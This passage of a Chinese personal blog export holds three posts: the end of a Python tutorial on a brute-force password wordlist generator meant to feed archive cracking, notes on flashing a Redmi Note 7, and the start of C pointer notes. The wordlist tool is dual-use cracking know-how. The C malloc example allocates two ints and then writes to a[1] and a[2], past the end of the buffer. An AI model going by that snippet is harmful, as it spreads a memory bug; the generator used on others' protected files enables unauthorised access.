class=\"built_in\"\u003estr\u003c/span\u003e(letters)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e length == \u003cspan class=\"number\"\u003e1\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ls = []\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e letters:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ls.append(result+i)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ls\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ls = []\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e letters:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ls += gen_with_for(length-\u003cspan class=\"number\"\u003e1\u003c/span\u003e,letters,result+i)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ls\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个算法优点就是简单。只需要知道密码长度,密码包含的所有字符就可以穷举出所有组合。\u003c/p\u003e\u003cp\u003e不过缺点也很明显。随着循环层数的增加,最内层循环次数指数级增加。如果密码稍长一点,电脑内存可能就炸了。\u003c/p\u003e\u003ch2 id=\"算法2:进制转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Python/%E7%94%A8Python%E5%86%99%E4%B8%80%E4%B8%AA%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%99%A8/#%E7%AE%97%E6%B3%952%EF%BC%9A%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"算法2:进制转换\"\u003e\u003c/a\u003e算法2:进制转换\u003c/h2\u003e\u003cp\u003e穷举密码的本质,其实也就是将对应的十进制数转换成用一些符号表达的p进制数。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003egen_with_convert\u003c/span\u003e(\u003cspan class=\"params\"\u003enumber, letters\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length = \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(letters)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e number:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e number, rest = \u003cspan class=\"built_in\"\u003edivmod\u003c/span\u003e(number-\u003cspan class=\"number\"\u003e1\u003c/span\u003e, length)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = letters[rest] + result\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e相比前一个算法,这个算法虽然慢一些,但是内存占用不会像前一个那么嚣张(\u003c/p\u003e\u003cp\u003e不过,我要生成所有7位含52个符号的密码,需要从第几个密码开始生成呢?\u003c/p\u003e\u003cp\u003e我也不知道。所以,我又写了这个函数。\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eloop_time_calc\u003c/span\u003e(\u003cspan class=\"params\"\u003elength, l_length\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e length == \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(l_length, length) + loop_time_calc(length -\u003cspan class=\"number\"\u003e1\u003c/span\u003e, l_length)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样,就大大简化了调用过程。同时因为密码是逐个返回的,所以完全可以把它和破解指令丢在同一个for里,破解和生成同步进行,可以减少破解耗时。\u003c/p\u003e\u003cp\u003e完整版是这样:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e optparse\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003egen\u003c/span\u003e(\u003cspan class=\"params\"\u003enumber, letters\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length = \u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(letters)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = \u003cspan class=\"string\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e number:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e number, rest = \u003cspan class=\"built_in\"\u003edivmod\u003c/span\u003e(number-\u003cspan class=\"number\"\u003e1\u003c/span\u003e, length)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result = letters[rest] + result\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e result\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eloop_time_calc\u003c/span\u003e(\u003cspan class=\"params\"\u003elength, l_length\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e length == \u003cspan class=\"number\"\u003e0\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(l_length, length) + loop_time_calc(length -\u003cspan class=\"number\"\u003e1\u003c/span\u003e, l_length)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e():\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e parse = optparse.OptionParser(\u003cspan class=\"string\"\u003e\u0026#34;Param: -l \u0026lt;Length\u0026gt; -c \u0026lt;Characters\u0026gt;\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e parse.add_option(\u003cspan class=\"string\"\u003e\u0026#34;-l\u0026#34;\u003c/span\u003e, dest=\u003cspan class=\"string\"\u003e\u0026#34;length\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;get password length\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e parse.add_option(\u003cspan class=\"string\"\u003e\u0026#34;-c\u0026#34;\u003c/span\u003e, dest=\u003cspan class=\"string\"\u003e\u0026#34;characters\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003ehelp\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026#34;get characters in password\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e (options, args) = parse.parse_args()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (options.length == \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e) | (options.characters == \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(parse.usage)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e:\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e length = options.length\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e characters = options.characters\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e _s, _e = loop_time_calc(\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(length)-\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(characters)), loop_time_calc(\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e(length),\u003cspan class=\"built_in\"\u003elen\u003c/span\u003e(characters))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"built_in\"\u003erange\u003c/span\u003e(_s, _e):\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(gen(i, characters))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emain()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e调用格式:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eroot@xeonds:~\u003cspan class=\"comment\"\u003e# ./pass_gen.py -l 4 -c 0123456789 \u0026gt; pass.txt\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的指令生成所有四位纯数字密码。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e所以说纯数字密码不安全嘛.jpg(\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"小结\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Python/%E7%94%A8Python%E5%86%99%E4%B8%80%E4%B8%AA%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%99%A8/#%E5%B0%8F%E7%BB%93\" class=\"headerlink\" title=\"小结\"\u003e\u003c/a\u003e小结\u003c/h2\u003e\u003cp\u003e用[[Python|Python]]做这种东西很方便。不过在解密压缩包上,已经有很好用的HashCat了。\u003c/p\u003e\u003cp\u003e就算法方面来说,说到底,还是要数学好嘛(摊)。进制转换好像小学奥数就有讲?无所谓,反正我已经忘了(逃\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Python/%E7%94%A8Python%E5%86%99%E4%B8%80%E4%B8%AA%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%99%A8/"},{"title":"红米Note7刷机小记","time":"2021-09-06T05:20:49Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e好久没刷了,有些手生\u003c/p\u003e\u003cp\u003e以前刷机很简单,直接手机工具root,手机端刷入rec,下好卡刷包,开刷就完事了。\u003c/p\u003e\u003cp\u003e现在稍微复杂一些了。比如我手上的红米note7,我需要先解锁手机,再在电脑上用fastboot刷入rec镜像,还得在手机上再刷一遍zip版本的rec才行。一切完成后,才能下卡刷包,刷机。\u003c/p\u003e\u003cp\u003e而且刷的时候还要注意底包等一系列的东西。\u003c/p\u003e\u003cp\u003e总的来说,因为vendor等一堆新东西的出现,改变了刷机的流程(或许这个流程以前就有,只是现在成了主流)。虽然流程变麻烦了,但是因为vendor的出现,刷机包的制作似乎是简单一些了。\u003c/p\u003e\u003cp\u003e所以总的来说还是值得的。\u003c/p\u003e\u003ch3 id=\"MIUI-EU\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/%E7%BA%A2%E7%B1%B3Note7%E5%88%B7%E6%9C%BA%E5%B0%8F%E8%AE%B0/#MIUI-EU\" class=\"headerlink\" title=\"MIUI EU\"\u003e\u003c/a\u003eMIUI EU\u003c/h3\u003e\u003cp\u003e简单说下使用体验。很稳,稳如老狗,功能啥的都不缺。\u003c/p\u003e\u003cp\u003e自带谷歌系应用全部删掉,应用市场换成酷安,就不用忍受\u003ccode\u003eanalytics\u003c/code\u003e了。应用更新一下,该有的都有了,而且还流畅。\u003c/p\u003e\u003cp\u003e反正是比官方的流畅舒服。这也是我刷机的原因:\u003cstrong\u003e系统更新直接给我把后台长按操作给砍了\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e输入法用的讯飞的,还不错。没有安全键盘(其实好像也没啥必要)和输入法MIUI优化(就是底下那个条和左右两个键),用着还行。控制中心终于是实时高斯模糊了。\u003c/p\u003e\u003cp\u003e系统主题自带全套超级壁纸,还有其他一堆被砍掉的功能,基本上是MIUI完全体了。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2021/09/06/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Android/%E7%BA%A2%E7%B1%B3Note7%E5%88%B7%E6%9C%BA%E5%B0%8F%E8%AE%B0/"},{"title":"C语言学习笔记:指针","time":"2021-08-13T11:26:47Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e 对于初学者而言,这是一个很麻烦的东西;对于大佬而言,这是无所不能的屠龙宝刀。作为C语言中最重要的概念之一,掌握它,是通往C语言高阶应用的一条必经之路。 \u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/08/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E6%8C%87%E9%92%88/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e指针(pointer)是一个用来存储内存地址的变量/数据对象。缩句:\u003cstrong\u003e指针是变量。\u003c/strong\u003e即指针具备变量的通性。指针还有两个地址运算符:\u003cem\u003e(解引用运算符)和\u0026amp;(引用运算符)。\u003c/em\u003epointer给出指针pointer指向地址的值,\u0026amp;argument给出变量argument所在的地址。 \u003c/p\u003e\u003cp\u003e指针可以这样赋值:\u003ccode\u003eptr = \u0026amp;var;\u003c/code\u003e即把var的地址赋给ptr。此时,ptr指向var。地址只能被存储在指针类型的变量中。\u003c/p\u003e\u003cp\u003e观察下面的程序: \u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eptr = \u0026amp;var_a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = *ptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e``` \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e这两句等价于`result = var_a;`。既然等价,为啥不直接用后者?因为同样是赋值,前者使用指针,从而可用来函数间通信时直接修改原数据而无需返回值再赋值。 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e这里注意,不要解引用未初始化的指针。像这样: \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eint * pt;\u003cbr/\u003e*pt = 5;\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e这样做的后果可能什么事都没有,也可能擦写数据或代码,甚至是程序崩溃。因为`pt`没有被地址初始化,所以它指向的是未知地址,而对未知地址赋值的后果是未知的。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 声明指针\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e语法:`[数据类型] * [变量1], * [变量2], ... , * [变量n];`\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e不能像其他变量一样`pointer [变量名];`是因为指针声明时必须知道指针指向变量的类型和大小。 \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e指针的转换说明是%p。转换说明就是`printf(\u0026#34;%p\u0026#34;,ptr1);`这样被使用的表示特定类型数据的占位符。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst关键字可以被用来声明指针。它和普通指针唯一区别是:前者不能被用来更改其指向地址的值。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e## 指针与数组\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e数组名是数组首元素的地址,即:`arr = \u0026amp;arr[0];`。先说一元数组:使用指针也可以遍历数组元素。对于上面提到的`arr`,就可以用`arr+=1;`的方式访问后面的元素。也就是说,这里的+1实际上是增加一个(相应数据类型的)存储单元。同时,指针可以用来分配数组空间:看下面这个例子。\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e```c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e#include \u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eint main(void)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e int *a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a=(int*)malloc(sizeof(int)*2);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e scanf(\u0026#34;%d %d\u0026#34;,\u0026amp;a[1],\u0026amp;a[2]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e return 0;\u003c/span\u003e\u003cbr/\u003e\u003cspan 